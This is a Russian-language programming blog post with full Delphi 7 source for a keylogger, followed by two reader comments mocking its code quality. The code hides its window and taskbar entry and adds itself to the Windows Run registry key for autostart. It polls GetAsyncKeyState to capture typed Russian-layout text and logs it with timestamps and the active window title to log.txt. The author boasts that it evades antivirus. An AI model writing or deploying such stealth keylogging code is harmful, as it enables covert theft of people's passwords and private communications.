Пишем клавиатурный шпион на Делфи 7

в 14:29, , рубрики: Delphi, keylogger, Программирование, разработка под windows

Это моя первая статья, потому не буду многословным и постараюсь как можно короче описать разработку клавиатурного шпиона на Делфи. Использовать мы будем функцию WinApi (getasynckeystate), осуществляющую глобальный перехват нажатия клавиш клавиатуры.

Описание: function GetAsyncKeyState(Key: Integer): Integer;
Опpеделяет состояние виpтуальной клавиши.
Параметры: Key: Код виpтуальной клавиши.
Возвращаемое значение: Если установлен стаpший байт, клавиша Key находится в нажатом положении, а если младший, то клавиша Key была нажата после пpедыдущего вызова функции.

Также нам понадобиться функция GetForegroundWindow — возвращает дескриптор приоритетного окна (окна, с которым пользователь в настоящее время работает). Система присваивает немного более высокий приоритет потоку, который создает приоритетное окно, чем тот, который она дает другим потокам.

Я думаю, этого достаточно для базового понимания того, как мы собираемся всё это дело реализовать. Преступим к созданию формы и написанию кода.

Начнём по порядку: открываем Делфи, заранее сохраняем наш проект, заходим в обработчик событий нашей формы вкладка Events и находим событие OnShow, два раза щёлкаем левой клавишей мыши на событие и пишем код.

procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);    // Скрываем нашу программу в панели задач.
end;  

Потом щёлкаем на событие OnCreate это событие вызывается при открытии самой программы, в ней пишем следующее.

procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;
begin
Application.ShowMainForm:=false; //Скрываем нашу форму, то есть делаем её невидимой.
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.LazyWrite:=false;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',false);
reg.WriteString('тут впишете имя вашей программы.exe',application.ExeName);
reg.CloseKey;
reg.Free;                                            
end;                       // Добавляем нашу программу в автозагрузку.

Так же не забываем после данной команды в uses проекта добавить RegisTry а так же заранее добавим и ShellApi это нам пригодиться в дальнейшем.

Теперь перейдём к самому интересному и кинем на нашу форму Memo из вкладки компонентов Standart имя которому создастся автоматически Memo1 а так же с этой же вкладке кинем на форму два компонента Button с именами Button1 и Button2 перейдём во вкладку компонентов System и кинем на форму два компонента Timer с именами Timer1 и Timer2 и кинем последний один компонент Label из вкладки компонентов Standart с именем Label1 и теперь можно уже начинать писать код.

Выделим компонент Timer1 на форме и в Object Inspector во вкладке Properties выставим интервал там стоит 1000 (то есть 1 секунда) а мы выставим 1, и доступность Enabled там автоматически выставлена True так и оставляем, теперь переходим во вкладку Events и там всего одно событие OnTimer, щёлкаем по нему два раза левой клавишей мыши и пишем код.

procedure TForm1.Timer1Timer(Sender: TObject);
var
s:string; //Переменная стринг она нам понадобиться на клавишу backspace.
begin
if GetAsyncKeyState(81)<>0 then    //Если зажата клавиша 81 тогда.
begin
timer1.Enabled:=false;  //Выключаем первый таймер.
memo1.Text:=memo1.Text+'й';       //Выводим в Memo1 букву й.
end;
begin
if GetAsyncKeyState(87)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ц';
end;
begin
if GetAsyncKeyState(192)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ё';
end;
begin
if GetAsyncKeyState(69)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'у';
end;
begin
if GetAsyncKeyState(82)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'к';
end;
begin
if GetAsyncKeyState(84)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'е';
end;
begin
if GetAsyncKeyState(89)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'н';
end;
begin
if GetAsyncKeyState(85)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'г';
end;
begin
if GetAsyncKeyState(73)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ш';
end;
begin
if GetAsyncKeyState(79)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'щ';
end;
begin
if GetAsyncKeyState(80)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'з';
end;
begin
if GetAsyncKeyState(219)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'х';
end;
begin
if GetAsyncKeyState(221)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ъ';
end;
begin
if GetAsyncKeyState(65)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ф';
end;
begin
if GetAsyncKeyState(83)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ы';
end;
begin
if GetAsyncKeyState(68)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'в';
end;
begin
if GetAsyncKeyState(70)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'а';
end;
begin
if GetAsyncKeyState(71)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'п';
end;
begin
if GetAsyncKeyState(72)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'р';
end;
begin
if GetAsyncKeyState(74)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'о';
end;
begin
if GetAsyncKeyState(75)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'л';
end;
begin
if GetAsyncKeyState(76)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'д';
end;
begin
if GetAsyncKeyState(186)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ж';
end;
begin
if GetAsyncKeyState(222)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'э';
end;
begin
if GetAsyncKeyState(90)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'я';
end;
begin
if GetAsyncKeyState(88)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ч';
end;
begin
if GetAsyncKeyState(67)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'с';
end;
begin
if GetAsyncKeyState(86)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'м';
end;
begin
if GetAsyncKeyState(66)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'и';
end;
begin
if GetAsyncKeyState(78)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'т';
end;
begin
if GetAsyncKeyState(77)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ь';
end;
begin
if GetAsyncKeyState(188)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'б';
end;
begin
if GetAsyncKeyState(190)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ю';
end;
begin
if GetAsyncKeyState(191)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'.';
end;
begin
if GetAsyncKeyState(48)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'0';
end;
begin
if GetAsyncKeyState(49)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'1';
end;
begin
if GetAsyncKeyState(50)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'2';
end;
begin
if GetAsyncKeyState(51)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'3';
end;
begin
if GetAsyncKeyState(52)<>0 then
begin
  timer1.Enabled:=false;
memo1.Text:=memo1.Text+'4';
end;
begin
if GetAsyncKeyState(53)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'5';
end;
begin
if GetAsyncKeyState(54)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'6';
end;
begin
if GetAsyncKeyState(55)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'7';
end;
begin
if GetAsyncKeyState(56)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'8';
end;
begin
if GetAsyncKeyState(57)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'9';
end;
begin
if GetAsyncKeyState(8)<>0 then //Если нажата клавиша 8 (то есть клавиша backspace) тогда.
begin
timer1.Enabled:=false;               //Отключаем таймер1.
s:=memo1.Text;            //Переменную s присваиваем к много строчному полю Мемо1.
Delete(s,length(s),1);             //Удаляем 1 букву.
memo1.Text:=s;            //И обратно поле Мемо1 присваиваем к переменной s.
end;                                                
begin
if GetAsyncKeyState(97)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'1';
end;
begin
if GetAsyncKeyState(98)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'2';
end;
begin
if GetAsyncKeyState(99)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'3';
end;
begin
if GetAsyncKeyState(100)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'4';
end;
begin
if GetAsyncKeyState(101)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'5';
end;
begin
if GetAsyncKeyState(102)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'6';
end;
begin
if GetAsyncKeyState(103)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'7';
end;
begin
if GetAsyncKeyState(104)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'8';
end;
begin
if GetAsyncKeyState(105)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'9';
end;
begin
if GetAsyncKeyState(13)<>0 then //Если нажата клавиша 13 (то есть клавиша Ентер) тогда.
begin
timer1.Enabled:=false;                   //Таймер1 отключаем.
if memo1.Text <>'' then              //Если Мемо1 больше пустоты тогда.
begin
button2.Click;         //Нажимаем вторую кнопку которая выводит текущий процесс.
end;
end;
begin
if GetAsyncKeyState(32)<>0 then//Если нажата клавиша  32 (то есть клавиша пробел) тогда.
begin
timer1.Enabled:=false;                      //Таймер1 отключаем.
memo1.Text:=memo1.Text+' ';         //В Мемо1 выводим пробел.
end;
begin
if GetAsyncKeyState(1)<>0 then//Если нажата клавиша 1 то есть левая клавиша мыши тогда.
begin
timer1.Enabled:=false;                  //Таймер1 отключаем.
if memo1.Text <>'' then             //Если Мемо1 больше пустоты тогда.
begin
button2.Click;     //Нажимаем вторую кнопку которая выводит текущий процесс.
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;

Вот собственно нажатие клавиш мы осуществили, теперь нам нужно сделать событие при отжимании клавиш, для этого нам и понадобился второй таймер. Нажимаем на форме на компонент Timer2 и настраиваем его так же, как и первый таймер, интервал ставим 1, щёлкаем на событие OnTimer и пишем код.

procedure TForm1.Timer2Timer(Sender: TObject);
begin
if GetAsyncKeyState(81)or GetAsyncKeyState(87)     //Если клавиша 81 или 87  итд.
or GetAsyncKeyState(192)or GetAsyncKeyState(69)
or GetAsyncKeyState(82)or GetAsyncKeyState(84)
or GetAsyncKeyState(89)or GetAsyncKeyState(85)
or GetAsyncKeyState(73)or GetAsyncKeyState(79)
or GetAsyncKeyState(80)or GetAsyncKeyState(219)
or GetAsyncKeyState(221)or GetAsyncKeyState(65)
or GetAsyncKeyState(83)or GetAsyncKeyState(68)
or GetAsyncKeyState(70)or GetAsyncKeyState(71)
or GetAsyncKeyState(72)or GetAsyncKeyState(74)
or GetAsyncKeyState(75)or GetAsyncKeyState(76)
or GetAsyncKeyState(186)or GetAsyncKeyState(222)
or GetAsyncKeyState(90)or GetAsyncKeyState(88)
or GetAsyncKeyState(67)or GetAsyncKeyState(86)
or GetAsyncKeyState(66)or GetAsyncKeyState(78)
or GetAsyncKeyState(77)or GetAsyncKeyState(188)
or GetAsyncKeyState(190)or GetAsyncKeyState(191)
or GetAsyncKeyState(13)or GetAsyncKeyState(32)
or GetAsyncKeyState(1)or GetAsyncKeyState(2)
or GetAsyncKeyState(8)or GetAsyncKeyState(48)
or GetAsyncKeyState(49)or GetAsyncKeyState(50)
or GetAsyncKeyState(51)or GetAsyncKeyState(52)
or GetAsyncKeyState(53)or GetAsyncKeyState(54)
or GetAsyncKeyState(55)or GetAsyncKeyState(56)
or GetAsyncKeyState(57)or GetAsyncKeyState(97)
or GetAsyncKeyState(98)or GetAsyncKeyState(99)
or GetAsyncKeyState(100)or GetAsyncKeyState(101)
or GetAsyncKeyState(102)or GetAsyncKeyState(103)
or GetAsyncKeyState(104)or GetAsyncKeyState(105)=0 then 
//Если отжата какая либо из этих клавиш тогда.
timer1.Enabled:=true;           //Включаем Timer1 .
end;

Событие на отжимание клавиш мы сделали, теперь осталось ещё немножко, на форме два раза щёлкаем левой кнопки мыши на компонент Button2 и нам автоматом открывается событие кнопки OnClick, далее пишем код на вывод процесса, в данный момент находящегося в фокусе.

procedure TForm1.Button2Click(Sender: TObject);
var
buf: array[Byte] of Char;   //Объявляем переменную куда будем писать процесс.
begin
GetWindowText(GetForegroundWindow, buf, Length(buf)*SizeOf(buf[0])); 
//Функция вывода процесса в переменную.
Label1.Caption := '' + buf;                //В Label 1 выводим название процесса.
button1.Click;     //Нажимаем первую кнопку для записи в текстовый документ.             
end;

Теперь остался последний штрих: нам нужно записать набранный текст с Memo1 в текстовый документ, создание которого мы сейчас реализуем, на форме нажимаем на компонент Button1, так же открываем событие OnClick и пишем код.

procedure TForm1.Button1Click(Sender: TObject);
var
 f: textfile;            //Объявляем переменную f текст файл.
 begin
AssignFile(f,ExtractFilePath(Application.ExeName)+'log.txt');  
//Устанавливаем связь переменной с текстовый файлом по имени log.txt.
if FileExists(ExtractFilePath(Application.ExeName)+'log.txt')=false  
//Если файла log.txt не существует.
then Rewrite(f)                        //Тогда перезаписываем его.
else Append(f);                     //Иначе открываем для редактирования.
if memo1.Text <>'' then          //Если Мемо1 больше пустоты тогда.
Writeln(f, Memo1.text+' - '+''+TimeTostr(Time)+'('+DateToStr(Date)+')'+label1.caption);  
//Записываем в текстовый файл текст с поля Мемо1 записываем время, дату и процесс находящийся в фокусе.
CloseFile(f);   //Выходим из текстового файла.
memo1.Clear;    //Чистим поле Мемо1.
label1.Caption:='';   //Чистим label1 где был наш процесс находящийся в фокусе.
end;

Вот собственно и всё, мы осуществили глобальный перехват клавиатуры, абсолютно невосприимчивый к заклинаниям любых антивирусов, правда, как видим, перехватываем только в русскоязычной раскладке, но намного лучше, чем использовать dll библиотеки, которые хватает за горло каждый антивирус.

Выражаю благодарность администраторам данного ресурса за возможность делиться полученным опытом и знаниями в сфере it, а также хочу поблагодарить всех близких и дорогих мне людей за понимание.

Автор: Fre

Источник


  1. leff:

    О боже, этот код прекрасен! Эти тридцатиэтажные IF’ы будут сниться мне в худших кошмарах. Спасибо, автор :)

  2. Anonimus:

    Зачем постить такой код? Кошмары и правда будут сниться.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js